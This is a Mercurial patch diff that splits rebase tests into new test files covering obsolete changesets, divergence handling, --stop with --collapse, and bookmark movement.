--stop aborts when --collapse was passed: -============================================= - $ cat >> $HGRCPATH << EOF - > [experimental] - > evolution.allowunstable=True - > EOF - - $ hg strip 6 - saved backup bundle to $TESTTMP/rbstop/.hg/strip-backup/b15528633407-6eb72b6f-backup.hg - $ hg log -G --template "{rev}:{short(node)} {person(author)}\n{firstline(desc)} {topic}\n\n" - o 5:00bfc9898aeb test - | conflict with d - | - o 4:dafd40200f93 test - | f - | - | @ 3:055a42cdd887 test - | | d - | | - | o 2:177f92b77385 test - | | c - | | - | o 1:d2ae7f538514 test - |/ b - | - o 0:cb9a9f314b8b test - a - - $ hg rebase -s 1 -d 5 --collapse -m "collapsed b c d" - rebasing 1:d2ae7f538514 "b" - rebasing 2:177f92b77385 "c" - rebasing 3:055a42cdd887 "d" - merging d - warning: conflicts while merging d! (edit, then use 'hg resolve --mark') - unresolved conflicts (see 'hg resolve', then 'hg rebase --continue') - [240] - $ hg rebase --stop - abort: cannot stop in --collapse session - [255] - $ hg rebase --abort - rebase aborted - $ hg diff - $ hg log -G --template "{rev}:{short(node)} {person(author)}\n{firstline(desc)} {topic}\n\n" - o 5:00bfc9898aeb test - | conflict with d - | - o 4:dafd40200f93 test - | f - | - | @ 3:055a42cdd887 test - | | d - | | - | o 2:177f92b77385 test - | | c - | | - | o 1:d2ae7f538514 test - |/ b - | - o 0:cb9a9f314b8b test - a - -Test --stop raise errors with conflicting options: -================================================= - $ hg rebase -s 3 -d 5 - rebasing 3:055a42cdd887 "d" - merging d - warning: conflicts while merging d! (edit, then use 'hg resolve --mark') - unresolved conflicts (see 'hg resolve', then 'hg rebase --continue') - [240] - $ hg rebase --stop --dry-run - abort: cannot specify both --stop and --dry-run - [10] - - $ hg rebase -s 3 -d 5 - abort: rebase in progress - (use 'hg rebase --continue', 'hg rebase --abort', or 'hg rebase --stop') - [20] - $ hg rebase --stop --continue - abort: cannot specify both --stop and --continue - [10] - -Test --stop moves bookmarks of original revisions to new rebased nodes: -====================================================================== - $ cd .. - $ hg init repo - $ cd repo - - $ echo a > a - $ hg ci -Am A - adding a - - $ echo b > b - $ hg ci -Am B - adding b - $ hg book X - $ hg book Y - - $ echo c > c - $ hg ci -Am C - adding c - $ hg book Z - - $ echo d > d - $ hg ci -Am D - adding d - - $ hg up 0 -q - $ echo e > e - $ hg ci -Am E - adding e - created new head - - $ echo doubt > d - $ hg ci -Am "conflict with d" - adding d - - $ hg log -GT "{rev}: {node|short} '{desc}' bookmarks: {bookmarks}\n" - @ 5: 39adf30bc1be 'conflict with d' bookmarks: - | - o 4: 9c1e55f411b6 'E' bookmarks: - | - | o 3: 67a385d4e6f2 'D' bookmarks: Z - | | - | o 2: 49cb3485fa0c 'C' bookmarks: Y - | | - | o 1: 6c81ed0049f8 'B' bookmarks: X - |/ - o 0: 1994f17a630e 'A' bookmarks: - - $ hg rebase -s 1 -d 5 - rebasing 1:6c81ed0049f8 X "B" - rebasing 2:49cb3485fa0c Y "C" - rebasing 3:67a385d4e6f2 Z "D" - merging d - warning: conflicts while merging d! (edit, then use 'hg resolve --mark') - unresolved conflicts (see 'hg resolve', then 'hg rebase --continue') - [240] - $ hg rebase --stop - 1 new orphan changesets - $ hg log -GT "{rev}: {node|short} '{desc}' bookmarks: {bookmarks}\n" - o 7: 9c86c650b686 'C' bookmarks: Y - | - o 6: 9b87b54e5fd8 'B' bookmarks: X - | - @ 5: 39adf30bc1be 'conflict with d' bookmarks: - | - o 4: 9c1e55f411b6 'E' bookmarks: - | - | * 3: 67a385d4e6f2 'D' bookmarks: Z - | | - | x 2: 49cb3485fa0c 'C' bookmarks: - | | - | x 1: 6c81ed0049f8 'B' bookmarks: - |/ - o 0: 1994f17a630e 'A' bookmarks: - diff -r bc268ea9f984 -r f67b8946bb1b tests/test-rebase-obsolete2.t --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/tests/test-rebase-obsolete2.t Tue Apr 20 11:01:06 2021 -0400 @@ -0,0 +1,341 @@ +========================== +Test rebase with obsolete +========================== + +Enable obsolete + + $ cat >> $HGRCPATH << EOF + > [command-templates] + > log= {rev}:{node|short} {desc|firstline}{if(obsolete,' ({obsfate})')} + > [experimental] + > evolution.createmarkers=True + > evolution.allowunstable=True + > [phases] + > publish=False + > [extensions] + > rebase= + > drawdag=$TESTDIR/drawdag.py + > strip= + > EOF + +Skip obsolete changeset even with multiple hops +----------------------------------------------- + +setup + + $ hg init obsskip + $ cd obsskip + $ cat << EOF >> .hg/hgrc + > [experimental] + > rebaseskipobsolete = True + > [extensions] + > strip = + > EOF + $ echo A > A + $ hg add A + $ hg commit -m A + $ echo B > B + $ hg add B + $ hg commit -m B0 + $ hg commit --amend -m B1 + $ hg commit --amend -m B2 + $ hg up --hidden 'desc(B0)' + 0 files updated, 0 files merged, 0 files removed, 0 files unresolved + updated to hidden changeset a8b11f55fb19 + (hidden revision 'a8b11f55fb19' was rewritten as: 261e70097290) + $ echo C > C + $ hg add C + $ hg commit -m C + 1 new orphan changesets + $ hg log -G + @ 4:212cb178bcbb C + | + | o 3:261e70097290 B2 + | | + x | 1:a8b11f55fb19 B0 (rewritten using amend as 3:261e70097290) + |/ + o 0:4a2df7238c3b A + + +Rebase finds its way in a chain of marker + + $ hg rebase -d 'desc(B2)' + note: not rebasing 1:a8b11f55fb19 "B0", already in destination as 3:261e70097290 "B2" + rebasing 4:212cb178bcbb tip "C" + +Even when the chain include missing node + + $ hg up --hidden 'desc(B0)' + 0 files updated, 0 files merged, 1 files removed, 0 files unresolved + updated to hidden changeset a8b11f55fb19 + (hidden revision 'a8b11f55fb19' was rewritten as: 261e70097290) + $ echo D > D + $ hg add D + $ hg commit -m D + 1 new orphan changesets + $ hg --hidden strip -r 'desc(B1)' + saved backup bundle to $TESTTMP/obsskip/.hg/strip-backup/86f6414ccda7-b1c452ee-backup.hg + 1 new orphan changesets + $ hg log -G + @ 5:1a79b7535141 D + | + | o 4:ff2c4d47b71d C + | | + | o 2:261e70097290 B2 + | | + x | 1:a8b11f55fb19 B0 (rewritten using amend as 2:261e70097290) + |/ + o 0:4a2df7238c3b A + + + $ hg rebase -d 'desc(B2)' + note: not rebasing 1:a8b11f55fb19 "B0", already in destination as 2:261e70097290 "B2" + rebasing 5:1a79b7535141 tip "D" + $ hg up 4 + 1 files updated, 0 files merged, 1 files removed, 0 files unresolved + $ echo "O" > O + $ hg add O + $ hg commit -m O + $ echo "P" > P + $ hg add P + $ hg commit -m P + $ hg log -G + @ 8:8d47583e023f P + | + o 7:360bbaa7d3ce O + | + | o 6:9c48361117de D + | | + o | 4:ff2c4d47b71d C + |/ + o 2:261e70097290 B2 + | + o 0:4a2df7238c3b A + + $ hg debugobsolete `hg log -r 7 -T '{node}\n'` --config experimental.evolution=true + 1 new obsolescence markers + obsoleted 1 changesets + 1 new orphan changesets + $ hg rebase -d 6 -r "4::" + rebasing 4:ff2c4d47b71d "C" + note: not rebasing 7:360bbaa7d3ce "O", it has no successor + rebasing 8:8d47583e023f tip "P" + +If all the changeset to be rebased are obsolete and present in the destination, we +should display a friendly error message + + $ hg log -G + @ 10:121d9e3bc4c6 P + | + o 9:4be60e099a77 C + | + o 6:9c48361117de D + | + o 2:261e70097290 B2 + | + o 0:4a2df7238c3b A + + + $ hg up 9 + 0 files updated, 0 files merged, 1 files removed, 0 files unresolved + $ echo "non-relevant change" > nonrelevant + $ hg add nonrelevant + $ hg commit -m nonrelevant + created new head + $ hg debugobsolete `hg log -r 11 -T '{node}\n'` --config experimental.evolution=true + 1 new obsolescence markers + obsoleted 1 changesets + $ hg log -G + @ 11:f44da1f4954c nonrelevant (pruned) + | + | o 10:121d9e3bc4c6 P + |/ + o 9:4be60e099a77 C + | + o 6:9c48361117de D + | + o 2:261e70097290 B2 + | + o 0:4a2df7238c3b A + + $ hg rebase -r . -d 10 + note: not rebasing 11:f44da1f4954c tip "nonrelevant", it has no successor + +If a rebase is going to create divergence, it should abort + + $ hg log -G + @ 10:121d9e3bc4c6 P + | + o 9:4be60e099a77 C + | + o 6:9c48361117de D + | + o 2:261e70097290 B2 + | + o 0:4a2df7238c3b A + + + $ hg up 9 + 0 files updated, 0 files merged, 1 files removed, 0 files unresolved + $ echo "john" > doe + $ hg add doe + $ hg commit -m "john doe" + created new head + $ hg up 10 + 1 files updated, 0 files merged, 1 files removed, 0 files unresolved + $ echo "foo" > bar + $ hg add bar + $ hg commit --amend -m "10'" + $ hg up 10 --hidden + 0 files updated, 0 files merged, 1 files removed, 0 files unresolved + updated to hidden changeset 121d9e3bc4c6 + (hidden revision '121d9e3bc4c6' was rewritten as: 77d874d096a2) + $ echo "bar" > foo + $ hg add foo + $ hg commit -m "bar foo" + 1 new orphan changesets + $ hg log -G + @ 14:73568ab6879d bar foo + | + | o 13:77d874d096a2 10' + | | + | | o 12:3eb461388009 john doe + | |/ + x | 10:121d9e3bc4c6 P (rewritten using amend as 13:77d874d096a2) + |/ + o 9:4be60e099a77 C + | + o 6:9c48361117de D + | + o 2:261e70097290 B2 + | + o 0:4a2df7238c3b A + + $ hg summary + parent: 14:73568ab6879d tip (orphan) + bar foo + branch: default + commit: (clean) + update: 2 new changesets, 3 branch heads (merge) + phases: 8 draft + orphan: 1 changesets + $ hg rebase -s 10 -d 12 + abort: this rebase will cause divergences from: 121d9e3bc4c6 + (to force the rebase please set experimental.evolution.allowdivergence=True) + [20] + $ hg log -G + @ 14:73568ab6879d bar foo + | + | o 13:77d874d096a2 10' + | | + | | o 12:3eb461388009 john doe + | |/ + x | 10:121d9e3bc4c6 P (rewritten using amend as 13:77d874d096a2) + |/ + o 9:4be60e099a77 C + | + o 6:9c48361117de D + | + o 2:261e70097290 B2 + | + o 0:4a2df7238c3b A + +With experimental.evolution.allowdivergence=True, rebase can create divergence + + $ hg rebase -s 10 -d 12 --config experimental.evolution.allowdivergence=True + rebasing 10:121d9e3bc4c6 "P" + rebasing 14:73568ab6879d tip "bar foo" + 2 new content-divergent changesets + $ hg summary + parent: 16:61bd55f69bc4 tip + bar foo + branch: default + commit: (clean) + update: 1 new changesets, 2 branch heads (merge) + phases: 8 draft + content-divergent: 2 changesets + +rebase --continue + skipped rev because their successors are in destination +we make a change in trunk and work on conflicting changes to make rebase abort. + + $ hg log -G -r 16:: + @ 16:61bd55f69bc4 bar foo + | + ~ + +Create the two changes in trunk + $ printf "a" > willconflict + $ hg add willconflict + $ hg commit -m "willconflict first version" + + $ printf "dummy" > C + $ hg commit -m "dummy change successor" + +Create the changes that we will rebase + $ hg update -C 16 -q + $ printf "b" > willconflict + $ hg add willconflict + $ hg commit -m "willconflict second version" + created new head + $ printf "dummy" > K + $ hg add K + $ hg commit -m "dummy change" + $ printf "dummy" > L + $ hg add L + $ hg commit -m "dummy change" + $ hg debugobsolete `hg log -r ".^" -T '{node}'` `hg log -r 18 -T '{node}'` --config experimental.evolution=true + 1 new obsolescence markers + obsoleted 1 changesets + 1 new orphan changesets + + $ hg log -G -r 16:: + @ 21:7bdc8a87673d dummy change + | + x 20:8b31da3c4919 dummy change (rewritten as 18:601db7a18f51) + | + o 19:b82fb57ea638 willconflict second version + | + | o 18:601db7a18f51 dummy change successor + | | + | o 17:357ddf1602d5 willconflict first version + |/ + o 16:61bd55f69bc4 bar foo + | + ~ + $ hg rebase -r ".^^ + .^ + ." -d 18 + rebasing 19:b82fb57ea638 "willconflict second version" + merging willconflict + warning: conflicts while merging willconflict! (edit, then use 'hg resolve --mark') + unresolved conflicts (see 'hg resolve', then 'hg rebase --continue') + [240] + + $ hg resolve --mark willconflict + (no more unresolved files) + continue: hg rebase --continue + $ hg rebase --continue + rebasing 19:b82fb57ea638 "willconflict second version" + note: not rebasing 20:8b31da3c4919 "dummy change", already in destination as 18:601db7a18f51 "dummy change successor" + rebasing 21:7bdc8a87673d tip "dummy change" + $ cd .. + +Can rebase pruned and rewritten commits with --keep + + $ hg init keep + $ cd keep + $ hg debugdrawdag <<'EOS' + > D + > | + > C + > | + > F B E # prune: B + > \|/ # rebase: C -> E + > A + > EOS + 1 new orphan changesets + + $ hg rebase -b D -d F --keep + rebasing 1:112478962961 B "B" + rebasing 4:26805aba1e60 C "C" + rebasing 5:f585351a92f8 D tip "D" + + $ cd .. diff -r bc268ea9f984 -r f67b8946bb1b tests/test-rebase-obsolete3.t --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/tests/test-rebase-obsolete3.t Tue Apr 20 11:01:06 2021 -0400 @@ -0,0 +1,669 @@ +========================== +Test rebase with obsolete +========================== + +Enable obsolete + + $ cat >> $HGRCPATH << EOF + > [command-templates] + > log= {rev}:{node|short} {desc|firstline}{if(obsolete,' ({obsfate})')} + > [experimental] + > evolution.createmarkers=True + > evolution.allowunstable=True + > [phases] + > publish=False + > [extensions] + > rebase= + > drawdag=$TESTDIR/drawdag.py + > strip= + > EOF + +Divergence cases due to obsolete changesets +------------------------------------------- + +We should ignore branches with unstable changesets when they are based on an +obsolete changeset which successor is in rebase set. + + $ hg init divergence + $ cd divergence + $ cat >> .hg/hgrc << EOF + > [extensions] + > strip = + > [alias] + > strip = strip --no-backup --quiet + > [templates] + > instabilities = '{rev}:{node|short} {desc|firstline}{if(instabilities," ({instabilities})")}\n' + > EOF + + $ hg debugdrawdag < e f + > | | + > d' d # replace: d -> d' + > \ / + > c + > | + > x b + > \| + > a + > EOF + 1 new orphan changesets + $ hg log -G -r 'a':: + * 7:1143e9adc121 f + | + | o 6:d60ebfa0f1cb e + | | + | o 5:027ad6c5830d d' + | | + x | 4:76be324c128b d (rewritten using replace as 5:027ad6c5830d) + |/ + o 3:a82ac2b38757 c + | + | o 2:630d7c95eff7 x + | | + o | 1:488e1b7e7341 b + |/ + o 0:b173517d0057 a + + +Changeset d and its descendants are excluded to avoid divergence of d, which +would occur because the successor of d (d') is also in rebaseset. As a +consequence f (descendant of d) is left behind. + + $ hg rebase -b 'e' -d 'x' + rebasing 1:488e1b7e7341 b "b" + rebasing 3:a82ac2b38757 c "c" + note: not rebasing 4:76be324c128b d "d" and its descendants as this would cause divergence + rebasing 5:027ad6c5830d d' "d'" + rebasing 6:d60ebfa0f1cb e "e" + $ hg log -G -r 'a':: + o 11:eb6d63fc4ed5 e + | + o 10:44d8c724a70c d' + | + o 9:d008e6b4d3fd c + | + o 8:67e8f4a16c49 b + | + | * 7:1143e9adc121 f + | | + | | x 6:d60ebfa0f1cb e (rewritten using rebase as 11:eb6d63fc4ed5) + | | | + | | x 5:027ad6c5830d d' (rewritten using rebase as 10:44d8c724a70c) + | | | + | x | 4:76be324c128b d (rewritten using replace as 5:027ad6c5830d) + | |/ + | x 3:a82ac2b38757 c (rewritten using rebase as 9:d008e6b4d3fd) + | | + o | 2:630d7c95eff7 x + | | + | x 1:488e1b7e7341 b (rewritten using rebase as 8:67e8f4a16c49) + |/ + o 0:b173517d0057 a + + $ hg strip -r 8: + $ hg log -G -r 'a':: + * 7:1143e9adc121 f + | + | o 6:d60ebfa0f1cb e + | | + | o 5:027ad6c5830d d' + | | + x | 4:76be324c128b d (rewritten using replace as 5:027ad6c5830d) + |/ + o 3:a82ac2b38757 c + | + | o 2:630d7c95eff7 x + | | + o | 1:488e1b7e7341 b + |/ + o 0:b173517d0057 a + + +If the rebase set has an obsolete (d) with a successor (d') outside the rebase +set and none in destination, we still get the divergence warning. +By allowing divergence, we can perform the rebase. + + $ hg rebase -r 'c'::'f' -d 'x' + abort: this rebase will cause divergences from: 76be324c128b + (to force the rebase please set experimental.evolution.allowdivergence=True) + [20] + $ hg rebase --config experimental.evolution.allowdivergence=true -r 'c'::'f' -d 'x' + rebasing 3:a82ac2b38757 c "c" + rebasing 4:76be324c128b d "d" + rebasing 7:1143e9adc121 f tip "f" + 1 new orphan changesets + 2 new content-divergent changesets + $ hg log -G -r 'a':: -T instabilities + o 10:e1744ea07510 f + | + * 9:e2b36ea9a0a0 d (content-divergent) + | + o 8:6a0376de376e c + | + | x 7:1143e9adc121 f + | | + | | * 6:d60ebfa0f1cb e (orphan) + | | | + | | * 5:027ad6c5830d d' (orphan content-divergent) + | | | + | x | 4:76be324c128b d + | |/ + | x 3:a82ac2b38757 c + | | + o | 2:630d7c95eff7 x + | | + | o 1:488e1b7e7341 b + |/ + o 0:b173517d0057 a + + $ hg strip -r 8: + +(Not skipping obsoletes means that divergence is allowed.) + + $ hg rebase --config experimental.rebaseskipobsolete=false -r 'c'::'f' -d 'x' + rebasing 3:a82ac2b38757 c "c" + rebasing 4:76be324c128b d "d" + rebasing 7:1143e9adc121 f tip "f" + 1 new orphan changesets + 2 new content-divergent changesets + + $ hg strip -r 0: + +Similar test on a more complex graph + + $ hg debugdrawdag < g + > | + > f e + > | | + > e' d # replace: e -> e' + > \ / + > c + > | + > x b + > \| + > a + > EOF + 1 new orphan changesets + $ hg log -G -r 'a': + * 8:2876ce66c6eb g + | + | o 7:3ffec603ab53 f + | | + x | 6:e36fae928aec e (rewritten using replace as 5:63324dc512ea) + | | + | o 5:63324dc512ea e' + | | + o | 4:76be324c128b d + |/ + o 3:a82ac2b38757 c + | + | o 2:630d7c95eff7 x + | | + o | 1:488e1b7e7341 b + |/ + o 0:b173517d0057 a + + $ hg rebase -b 'f' -d 'x' + rebasing 1:488e1b7e7341 b "b" + rebasing 3:a82ac2b38757 c "c" + rebasing 4:76be324c128b d "d" + note: not rebasing 6:e36fae928aec e "e" and its descendants as this would cause divergence + rebasing 5:63324dc512ea e' "e'" + rebasing 7:3ffec603ab53 f "f" + $ hg log -G -r 'a': + o 13:ef6251596616 f + | + o 12:b6f172e64af9 e' + | + | o 11:a1707a5b7c2c d + |/ + o 10:d008e6b4d3fd c + | + o 9:67e8f4a16c49 b + | + | * 8:2876ce66c6eb g + | | + | | x 7:3ffec603ab53 f (rewritten using rebase as 13:ef6251596616) + | | | + | x | 6:e36fae928aec e (rewritten using replace as 5:63324dc512ea) + | | | + | | x 5:63324dc512ea e' (rewritten using rebase as 12:b6f172e64af9) + | | | + | x | 4:76be324c128b d (rewritten using rebase as 11:a1707a5b7c2c) + | |/ + | x 3:a82ac2b38757 c (rewritten using rebase as 10:d008e6b4d3fd) + | | + o | 2:630d7c95eff7 x + | | + | x 1:488e1b7e7341 b (rewritten using rebase as 9:67e8f4a16c49) + |/ + o 0:b173517d0057 a + + +issue5782 + $ hg strip -r 0: + $ hg debugdrawdag < d + > | + > c1 c # replace: c -> c1 + > \ / + > b + > | + > a + > EOF + 1 new orphan changesets + $ hg debugobsolete `hg log -T "{node}" --hidden -r 'desc("c1")'` + 1 new obsolescence markers + obsoleted 1 changesets + $ hg log -G -r 'a': --hidden + * 4:76be324c128b d + | + | x 3:ef8a456de8fa c1 (pruned) + | | + x | 2:a82ac2b38757 c (rewritten using replace as 3:ef8a456de8fa) + |/ + o 1:488e1b7e7341 b + | + o 0:b173517d0057 a + + $ hg rebase -d 0 -r 2 + note: not rebasing 2:a82ac2b38757 c "c", it has no successor + $ hg log -G -r 'a': --hidden + * 4:76be324c128b d + | + | x 3:ef8a456de8fa c1 (pruned) + | | + x | 2:a82ac2b38757 c (rewritten using replace as 3:ef8a456de8fa) + |/ + o 1:488e1b7e7341 b + | + o 0:b173517d0057 a + + $ cd .. + +Start a normal rebase. When it runs into conflicts, rewrite one of the +commits in the rebase set, causing divergence when the rebase continues. + + $ hg init $TESTTMP/new-divergence-after-conflict + $ cd $TESTTMP/new-divergence-after-conflict + $ hg debugdrawdag <<'EOS' + > C2 + > | C1 + > |/ + > B # B/D=B + > | D + > |/ + > A + > EOS + $ hg rebase -r B::C1 -d D + rebasing 1:2ec65233581b B "B" + merging D + warning: conflicts while merging D! (edit, then use 'hg resolve --mark') + unresolved conflicts (see 'hg resolve', then 'hg rebase --continue') + [240] + $ hg debugobsolete $(hg log -r C1 -T '{node}') $(hg log -r C2 -T '{node}') + 1 new obsolescence markers + obsoleted 1 changesets + $ hg log -G + o 4:fdb9df6b130c C2 + | + | x 3:7e5bfd3c08f0 C1 (rewritten as 4:fdb9df6b130c) + |/ + | @ 2:b18e25de2cf5 D + | | + % | 1:2ec65233581b B + |/ + o 0:426bada5c675 A + + $ echo resolved > D + $ hg resolve -m D + (no more unresolved files) + continue: hg rebase --continue + $ hg rebase -c + rebasing 1:2ec65233581b B "B" + note: not rebasing 3:7e5bfd3c08f0 C1 "C1" and its descendants as this would cause divergence + 1 new orphan changesets + +Rebase merge where successor of one parent is equal to destination (issue5198) + + $ hg init p1-succ-is-dest + $ cd p1-succ-is-dest + + $ hg debugdrawdag < F + > /| + > E D B # replace: D -> B + > \|/ + > A + > EOF + 1 new orphan changesets + + $ hg rebase -d B -s D + note: not rebasing 2:b18e25de2cf5 D "D", already in destination as 1:112478962961 B "B" + rebasing 4:66f1a38021c9 F tip "F" + $ hg log -G + o 5:50e9d60b99c6 F + |\ + | | x 4:66f1a38021c9 F (rewritten using rebase as 5:50e9d60b99c6) + | |/| + | o | 3:7fb047a69f22 E + | | | + | | x 2:b18e25de2cf5 D (rewritten using replace as 1:112478962961) + | |/ + o | 1:112478962961 B + |/ + o 0:426bada5c675 A + + $ cd .. + +Rebase merge where successor of other parent is equal to destination + + $ hg init p2-succ-is-dest + $ cd p2-succ-is-dest + + $ hg debugdrawdag < F + > /| + > E D B # replace: E -> B + > \|/ + > A + > EOF + 1 new orphan changesets + + $ hg rebase -d B -s E + note: not rebasing 3:7fb047a69f22 E "E", already in destination as 1:112478962961 B "B" + rebasing 4:66f1a38021c9 F tip "F" + $ hg log -G + o 5:aae1787dacee F + |\ + | | x 4:66f1a38021c9 F (rewritten using rebase as 5:aae1787dacee) + | |/| + | | x 3:7fb047a69f22 E (rewritten using replace as 1:112478962961) + | | | + | o | 2:b18e25de2cf5 D + | |/ + o / 1:112478962961 B + |/ + o 0:426bada5c675 A + + $ cd .. + +Rebase merge where successor of one parent is ancestor of destination + + $ hg init p1-succ-in-dest + $ cd p1-succ-in-dest + + $ hg debugdrawdag < F C + > /| | + > E D B # replace: D -> B + > \|/ + > A + > EOF + 1 new orphan changesets + + $ hg rebase -d C -s D + note: not rebasing 2:b18e25de2cf5 D "D", already in destination as 1:112478962961 B "B" + rebasing 5:66f1a38021c9 F tip "F" + + $ hg log -G + o 6:0913febf6439 F + |\ + +---x 5:66f1a38021c9 F (rewritten using rebase as 6:0913febf6439) + | | | + | o | 4:26805aba1e60 C + | | | + o | | 3:7fb047a69f22 E + | | | + +---x 2:b18e25de2cf5 D (rewritten using replace as 1:112478962961) + | | + | o 1:112478962961 B + |/ + o 0:426bada5c675 A + + $ cd .. + +Rebase merge where successor of other parent is ancestor of destination + + $ hg init p2-succ-in-dest + $ cd p2-succ-in-dest + + $ hg debugdrawdag < F C + > /| | + > E D B # replace: E -> B + > \|/ + > A + > EOF + 1 new orphan changesets + + $ hg rebase -d C -s E + note: not rebasing 3:7fb047a69f22 E "E", already in destination as 1:112478962961 B "B" + rebasing 5:66f1a38021c9 F tip "F" + $ hg log -G + o 6:c6ab0cc6d220 F + |\ + +---x 5:66f1a38021c9 F (rewritten using rebase as 6:c6ab0cc6d220) + | | | + | o | 4:26805aba1e60 C + | | | + | | x 3:7fb047a69f22 E (rewritten using replace as 1:112478962961) + | | | + o---+ 2:b18e25de2cf5 D + / / + o / 1:112478962961 B + |/ + o 0:426bada5c675 A + + $ cd .. + +Rebase merge where successor of one parent is ancestor of destination + + $ hg init p1-succ-in-dest-b + $ cd p1-succ-in-dest-b + + $ hg debugdrawdag < F C + > /| | + > E D B # replace: E -> B + > \|/ + > A + > EOF + 1 new orphan changesets + + $ hg rebase -d C -b F + rebasing 2:b18e25de2cf5 D "D" + note: not rebasing 3:7fb047a69f22 E "E", already in destination as 1:112478962961 B "B" + rebasing 5:66f1a38021c9 F tip "F" + note: not rebasing 5:66f1a38021c9 F tip "F", its destination already has all its changes + $ hg log -G + o 6:8f47515dda15 D + | + | x 5:66f1a38021c9 F (pruned using rebase) + | |\ + o | | 4:26805aba1e60 C + | | | + | | x 3:7fb047a69f22 E (rewritten using replace as 1:112478962961) + | | | + | x | 2:b18e25de2cf5 D (rewritten using rebase as 6:8f47515dda15) + | |/ + o / 1:112478962961 B + |/ + o 0:426bada5c675 A + + $ cd .. + +Rebase merge where successor of other parent is ancestor of destination + + $ hg init p2-succ-in-dest-b + $ cd p2-succ-in-dest-b + + $ hg debugdrawdag < F C + > /| | + > E D B # replace: D -> B + > \|/ + > A + > EOF + 1 new orphan changesets + + $ hg rebase -d C -b F + note: not rebasing 2:b18e25de2cf5 D "D", already in destination as 1:112478962961 B "B" + rebasing 3:7fb047a69f22 E "E" + rebasing 5:66f1a38021c9 F tip "F" + note: not rebasing 5:66f1a38021c9 F tip "F", its destination already has all its changes + + $ hg log -G + o 6:533690786a86 E + | + | x 5:66f1a38021c9 F (pruned using rebase) + | |\ + o | | 4:26805aba1e60 C + | | | + | | x 3:7fb047a69f22 E (rewritten using rebase as 6:533690786a86) + | | | + | x | 2:b18e25de2cf5 D (rewritten using replace as 1:112478962961) + | |/ + o / 1:112478962961 B + |/ + o 0:426bada5c675 A + + $ cd .. + +Rebase merge where extinct node has successor that is not an ancestor of +destination + + $ hg init extinct-with-succ-not-in-dest + $ cd extinct-with-succ-not-in-dest + + $ hg debugdrawdag < E C # replace: C -> E + > | | + > D B + > |/ + > A + > EOF + + $ hg rebase -d D -s B + rebasing 1:112478962961 B "B" + note: not rebasing 3:26805aba1e60 C "C" and its descendants as this would cause divergence + + $ cd .. + + $ hg init p2-succ-in-dest-c + $ cd p2-succ-in-dest-c + +The scenario here was that B::D were developed on default. B was queued on +stable, but amended before being push to hg-committed. C was queued on default, +along with unrelated J. + + $ hg debugdrawdag < J + > | + > F + > | + > E + > | D + > | | + > | C # replace: C -> F + > | | H I # replace: B -> H -> I + > | B |/ + > |/ G + > A + > EOF + 1 new orphan changesets + +This strip seems to be the key to avoid an early divergence warning. + $ hg --config extensions.strip= --hidden strip -qr H + 1 new orphan changesets + + $ hg rebase -b 'desc("D")' -d 'desc("J")' + abort: this rebase will cause divergences from: 112478962961 + (to force the rebase please set experimental.evolution.allowdivergence=True) + [20] + +Rebase merge where both parents have successors in destination + + $ hg init p12-succ-in-dest + $ cd p12-succ-in-dest + $ hg debugdrawdag <<'EOS' + > E F + > /| /| # replace: A -> C + > A B C D # replace: B -> D + > | | + > X Y + > EOS + 1 new orphan changesets + $ hg rebase -r A+B+E -d F + note: not rebasing 4:a3d17304151f A "A", already in destination as 0:96cc3511f894 C "C" + note: not rebasing 5:b23a2cc00842 B "B", already in destination as 1:058c1e1fb10a D "D" + rebasing 7:dac5d11c5a7d E tip "E" + abort: rebasing 7:dac5d11c5a7d will include unwanted changes from 3:59c792af609c, 5:b23a2cc00842 or 2:ba2b7fa7166d, 4:a3d17304151f + [10] + $ cd .. + +Rebase a non-clean merge. One parent has successor in destination, the other +parent moves as requested. + + $ hg init p1-succ-p2-move + $ cd p1-succ-p2-move + $ hg debugdrawdag <<'EOS' + > D Z + > /| | # replace: A -> C + > A B C # D/D = D + > EOS + 1 new orphan changesets + $ hg rebase -r A+B+D -d Z + note: not rebasing 0:426bada5c675 A "A", already in destination as 2:96cc3511f894 C "C" + rebasing 1:fc2b737bb2e5 B "B" + rebasing 3:b8ed089c80ad D "D" + + $ rm .hg/localtags + $ hg log -G + o 6:e4f78693cc88 D + | + o 5:76840d832e98 B + | + o 4:50e41c1f3950 Z + | + o 2:96cc3511f894 C + + $ hg files -r tip + B + C + D + Z + + $ cd .. + + $ hg init p1-move-p2-succ + $ cd p1-move-p2-succ + $ hg debugdrawdag <<'EOS' + > D Z + > /| | # replace: B -> C + > A B C # D/D = D + > EOS + 1 new orphan changesets + $ hg rebase -r B+A+D -d Z + rebasing 0:426bada5c675 A "A" + note: not rebasing 1:fc2b737bb2e5 B "B", already in destination as 2:96cc3511f894 C "C" + rebasing 3:b8ed089c80ad D "D" + + $ rm .hg/localtags + $ hg log -G + o 6:1b355ed94d82 D + | + o 5:a81a74d764a6 A + | + o 4:50e41c1f3950 Z + | + o 2:96cc3511f894 C + + $ hg files -r tip + A + C + D + Z + + $ cd .. diff -r bc268ea9f984 -r f67b8946bb1b tests/test-rebase-obsolete4.t --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/tests/test-rebase-obsolete4.t Tue Apr 20 11:01:06 2021 -0400 @@ -0,0 +1,501 @@ +========================== +Test rebase with obsolete +========================== + +Enable obsolete + + $ cat >> $HGRCPATH << EOF + > [command-templates] + > log= {rev}:{node|short} {desc|firstline}{if(obsolete,' ({obsfate})')} + > [experimental] + > evolution.createmarkers=True + > evolution.allowunstable=True + > [phases] + > publish=False + > [extensions] + > rebase= + > drawdag=$TESTDIR/drawdag.py + > strip= + > EOF + +Test that bookmark is moved and working dir is updated when all changesets have +equivalents in destination + $ hg init rbsrepo && cd rbsrepo + $ echo "[experimental]" > .hg/hgrc + $ echo "evolution=true" >> .hg/hgrc + $ echo root > root && hg ci -Am root + adding root + $ echo a > a && hg ci -Am a + adding a + $ hg up 0 + 0 files updated, 0 files merged, 1 files removed, 0 files unresolved + $ echo b > b && hg ci -Am b + adding b + created new head + $ hg rebase -r 2 -d 1 + rebasing 2:1e9a3c00cbe9 tip "b" + $ hg log -r . # working dir is at rev 3 (successor of 2) + 3:be1832deae9a b (no-eol) + $ hg book -r 2 mybook --hidden # rev 2 has a bookmark on it now + bookmarking hidden changeset 1e9a3c00cbe9 + (hidden revision '1e9a3c00cbe9' was rewritten as: be1832deae9a) + $ hg up 2 && hg log -r . # working dir is at rev 2 again + 0 files updated, 0 files merged, 1 files removed, 0 files unresolved + 2:1e9a3c00cbe9 b (rewritten using rebase as 3:be1832deae9a) (no-eol) + $ hg rebase -r 2 -d 3 --config experimental.evolution.track-operation=1 + 